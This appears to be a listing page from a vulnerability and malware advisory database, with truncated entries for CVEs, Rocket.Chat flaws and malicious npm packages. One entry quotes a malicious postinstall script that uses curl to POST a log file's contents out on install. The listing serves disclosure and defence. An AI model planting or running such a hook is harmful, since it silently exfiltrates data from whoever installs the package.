oss-bounty-program

ProjectDiscovery OSS Bounty Program Purpose The ProjectDiscovery OSS Bounty Program exists to democratize security by rewarding meaningful contributions from the global community. Our tools are used by researchers, defenders, and builders worldwide. This program ensures that anyone, anywhere, can...

CVEs

CVEs This repository contains publicly disclosed vulnerabilities reported during my security research activities. Notes The repository may include: Technical write-ups Vulnerability details References Security analyses Additional research related to published disclosures Research Interests...

GHSA-XC2P-8GGW-6CR5 vulnerabilities

Vulnerabilities for packages: mongodb-kubernetes-operator, nova, vale, mattermost, grafana-rollout-operator, terraform-provider-acme, witness, rancher-agent, mariadb-operator, gcp-compute-persistent-disk-csi-driver, crossplane-provider-aws-kinesis, falco-exporter, ghaudit, kapp, kube-rbac-proxy,...

CVE-2026-64530

creationtimestamp| type| source ---|---|--- 2026-07-26 17:42:00+00:00| seen| https://infosec.exchange/users/vuldb/statuses/116987508848390063 2026-07-27 06:26:06+00:00| seen| https://bsky.app/profile/stackflag.bsky.social/post/3mrmba2jhs524 2026-08-03 10:15:38+00:00| seen|...

MAL-2026-10970 Malicious code in consumerweb-calurls (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 669d269ba4f32fdf1b9c8858544848525f323074fba69e9f84a2974504adfc17 [email protected] ships an effectively empty package empty index.js, no lifecycle scripts whose sole effect on install is to resolve a runti...

MAL-2026-10686 Malicious code in @ddh-libraries/analytics (npm)

--- -= Per source details. Do not edit below this line.=- Source: ossf-package-analysis dc06a6debd614f8f6fb60d5f2636daf90b4085010e264cd69422da4b793234f8 The OpenSSF Package Analysis project identified '@ddh-libraries/analytics' @ 99.0.0 npm as malicious. It is considered malicious because: - The...

MAL-2026-6703 Malicious code in @andes-tools/colors (npm)

--- -= Per source details. Do not edit below this line.=- Source: ossf-package-analysis eaa7ebbb428747d4b9b5ef497dd78f0bfe55f843a9ae526feaf96a788f4abdfb The OpenSSF Package Analysis project identified '@andes-tools/colors' @ 999.0.0 npm as malicious. It is considered malicious because: - The...

Malicious code in dttsdee (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 56d01c47d29d1f8f25a737be42dd77d02a2c13a00afb808740142197a79150e9 package.json declares a postinstall lifecycle script that runs automatically on npm install: curl -X POST -d "$cat /data/logs/monitor-2026-06-25.log"...

CVE-2026-55666

Rocket.Chat is an open-source, secure, fully customizable communications platform. Prior to 8.5.1, 8.4.4, 8.3.6, 8.2.6, 8.1.6, 8.0.7, and 7.10.13, in apps/meteor/app/apple/server/loginHandler.ts, handleIdentityToken parses a JWT issued by Apple during the OAuth flow. The try block checks for an...

EUVD-2026-39099

Rocket.Chat is an open-source, secure, fully customizable communications platform. Prior to 8.5.0, 8.4.2, 8.3.4, 8.2.4, 8.1.5, 8.0.6, 7.13.8, and 7.10.12, in the visitors.info endpoint, https://developer.rocket.chat/apidocs/get-visitor-information-by-id-1, token is returned in the response. It...

Malicious code in @public-for-cdao/hooks (npm)

--- -= Per source details. Do not edit below this line.=- Source: ossf-package-analysis 8611956b7ad849ba2a98285fa33897da931deb28e74f30bc8a6299d567852c51 The OpenSSF Package Analysis project identified '@public-for-cdao/hooks' @ 99.99.99 npm as malicious. It is considered malicious because: - The...

CVE-2026-11188

creationtimestamp| type| source ---|---|--- 2026-06-05 13:24:23+00:00| seen| https://infosec.exchange/users/cR0w/statuses/116697713800926918 2026-06-07 02:00:27+00:00| seen| https://bsky.app/profile/thehackerwire.bsky.social/post/3mno32y3e4g2q 2026-06-07 18:00:00+00:00| seen|...

CVE-2026-11178

creationtimestamp| type| source ---|---|--- 2026-06-05 13:24:21+00:00| seen| https://infosec.exchange/users/cR0w/statuses/116697713800926918 2026-06-07 18:00:00+00:00| seen| https://www.hkcert.org/security-bulletin/google-chrome-multiple-vulnerabilities20260608 2026-06-09 18:00:00+00:00| seen|...

CVE-2026-11122

creationtimestamp| type| source ---|---|--- 2026-06-05 13:24:11+00:00| seen| https://infosec.exchange/users/cR0w/statuses/116697713800926918 2026-06-07 18:00:00+00:00| seen| https://www.hkcert.org/security-bulletin/google-chrome-multiple-vulnerabilities20260608 2026-06-07 18:00:00+00:00| seen|...

CVE-2026-10934

creationtimestamp| type| source ---|---|--- 2026-06-05 13:23:34+00:00| seen| https://infosec.exchange/users/cR0w/statuses/116697713800926918 2026-06-07 18:00:00+00:00| seen| https://www.hkcert.org/security-bulletin/google-chrome-multiple-vulnerabilities20260608 2026-06-09 18:00:00+00:00| seen|...

Malicious code in brave-search-mcp-server (npm)

--- -= Per source details. Do not edit below this line.=- Source: ossf-package-analysis d7d65e78a73a4cc2064d0ab9210a76c7c55f69553b70879dd649d7ad84e48dc0 The OpenSSF Package Analysis project identified 'brave-search-mcp-server' @ 1.0.0 npm as malicious. It is considered malicious because: - The...

MAL-2026-5097 Malicious code in cms-storehub (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware dda5fa0b4771a3299568c8dd8d17d5663d9c8ae782b8c71f4a2baf0ce1f8e5ee Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in @neon-i18n/core-ui (npm)

--- -= Per source details. Do not edit below this line.=- Source: ossf-package-analysis dbdc5bd090d8e85771f77fa3a7a113e08fbfb31de54ae399ed92565bdac246df The OpenSSF Package Analysis project identified '@neon-i18n/core-ui' @ 99.99.99 npm as malicious. It is considered malicious because: - The...

MAL-2026-4839 Malicious code in hellowornd (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 0e9b9637d126bc60120f015b0af88898fae5cf613a015fd572ab74d2554e6d7f Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

CVE-2026-46240

creationtimestamp| type| source ---|---|--- 2026-05-28 14:03:06+00:00| seen| https://infosec.exchange/users/vuldb/statuses/116652571732542987 2026-10-01 18:00:00+00:00| seen| https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities20261002...